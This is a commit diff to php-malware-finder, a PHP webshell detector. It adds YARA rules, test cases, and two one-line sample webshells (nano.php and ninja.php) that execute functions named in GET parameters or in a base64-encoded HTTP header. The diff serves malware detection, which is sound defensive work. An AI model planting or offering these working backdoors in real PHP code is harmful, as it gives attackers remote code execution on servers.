diff options
| -rw-r--r-- | README.md | 1 | ||||
| -rw-r--r-- | php-malware-finder/php.yar | 2 | ||||
| -rw-r--r-- | php-malware-finder/samples/real/nano.php | 1 | ||||
| -rw-r--r-- | php-malware-finder/samples/real/ninja.php | 1 | ||||
| -rwxr-xr-x | php-malware-finder/tests.sh | 3 |
5 files changed, 8 insertions, 0 deletions
| @@ -38,6 +38,7 @@ The following list of encoders/obfuscators/webshells are also detected: | |||
| 38 | * [web-malware-collection]( https://github.com/nikicat/web-malware-collection ) | 38 | * [web-malware-collection]( https://github.com/nikicat/web-malware-collection ) |
| 39 | * [webtoolsvn]( http://www.webtoolsvn.com/en-decode/ ) | 39 | * [webtoolsvn]( http://www.webtoolsvn.com/en-decode/ ) |
| 40 | * [novahot]( https://github.com/chrisallenlane/novahot ) | 40 | * [novahot]( https://github.com/chrisallenlane/novahot ) |
| 41 | * [nano]( https://github.com/UltimateHackers/nano ) | ||
| 41 | 42 | ||
| 42 | 43 | ||
| 43 | Of course it's **trivial** to bypass PMF, | 44 | Of course it's **trivial** to bypass PMF, |
diff --git a/php-malware-finder/php.yar b/php-malware-finder/php.yar index f0abcb4..143b192 100644 --- a/php-malware-finder/php.yar +++ b/php-malware-finder/php.yar | |||
| @@ -65,6 +65,8 @@ rule ObfuscatedPhp | |||
| 65 | $align = /(\$\w+=[^;]*)*;\$\w+=@?\$\w+\(/ //b374k | 65 | $align = /(\$\w+=[^;]*)*;\$\w+=@?\$\w+\(/ //b374k |
| 66 | $weevely3 = /\$\w=\$[a-zA-Z]\('',\$\w\);\$\w\(\);/ // weevely3 launcher | 66 | $weevely3 = /\$\w=\$[a-zA-Z]\('',\$\w\);\$\w\(\);/ // weevely3 launcher |
| 67 | $c99_launcher = /;\$\w+\(\$\w+(,\s?\$\w+)+\);/ // http://bartblaze.blogspot.fr/2015/03/c99shell-not-dead.html | 67 | $c99_launcher = /;\$\w+\(\$\w+(,\s?\$\w+)+\);/ // http://bartblaze.blogspot.fr/2015/03/c99shell-not-dead.html |
| 68 | $nano = /\$[a-z0-9-_]+\[[^]]+\]\(/ //https://github.com/UltimateHackers/nano | ||
| 69 | $ninja = /base64_decode[^;]+getallheaders/ //https://github.com/UltimateHackers/nano | ||
| 68 | $variable_variable = /\${\$[0-9a-zA-z]+}/ | 70 | $variable_variable = /\${\$[0-9a-zA-z]+}/ |
| 69 | $too_many_chr = /(chr\([\d]+\)\.){8}/ // concatenation of more than eight `chr()` | 71 | $too_many_chr = /(chr\([\d]+\)\.){8}/ // concatenation of more than eight `chr()` |
| 70 | $concat = /(\$[^\n\r]+\.){5}/ // concatenation of more than 5 words | 72 | $concat = /(\$[^\n\r]+\.){5}/ // concatenation of more than 5 words |
diff --git a/php-malware-finder/samples/real/nano.php b/php-malware-finder/samples/real/nano.php new file mode 100644 index 0000000..14df255 --- /dev/null +++ b/php-malware-finder/samples/real/nano.php | |||
| @@ -0,0 +1 @@ | |||
| <?$x=$_GET;($x[p]=='_'?$x[f]($x[c]):y); | |||
diff --git a/php-malware-finder/samples/real/ninja.php b/php-malware-finder/samples/real/ninja.php new file mode 100644 index 0000000..fdace58 --- /dev/null +++ b/php-malware-finder/samples/real/ninja.php | |||
| @@ -0,0 +1 @@ | |||
| <?$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0]($x[1]); | |||
diff --git a/php-malware-finder/tests.sh b/php-malware-finder/tests.sh index f4d9e06..aa6cd33 100755 --- a/php-malware-finder/tests.sh +++ b/php-malware-finder/tests.sh | |||
| @@ -86,6 +86,9 @@ run_test real/ice.php 'double_var' | |||
| 86 | run_test real/srt.php '$register_function' | 86 | run_test real/srt.php '$register_function' |
| 87 | run_test real/awvjtnz.php '$reversed:' | 87 | run_test real/awvjtnz.php '$reversed:' |
| 88 | run_test real/exceptions.php '$eval_comment: eval/\*k\*/(' | 88 | run_test real/exceptions.php '$eval_comment: eval/\*k\*/(' |
| 89 | run_test real/nano.php '$nano: $x\[f\](' | ||
| 90 | run_test real/ninja.php '$nano: $x\[0\](' | ||
| 91 | run_test real/ninja.php '$ninja: base64_decode(substr(getallheaders' | ||
| 89 | 92 | ||
| 90 | run_test undetected/smart.php '0x6:$extract:' | 93 | run_test undetected/smart.php '0x6:$extract:' |
| 91 | 94 | ||
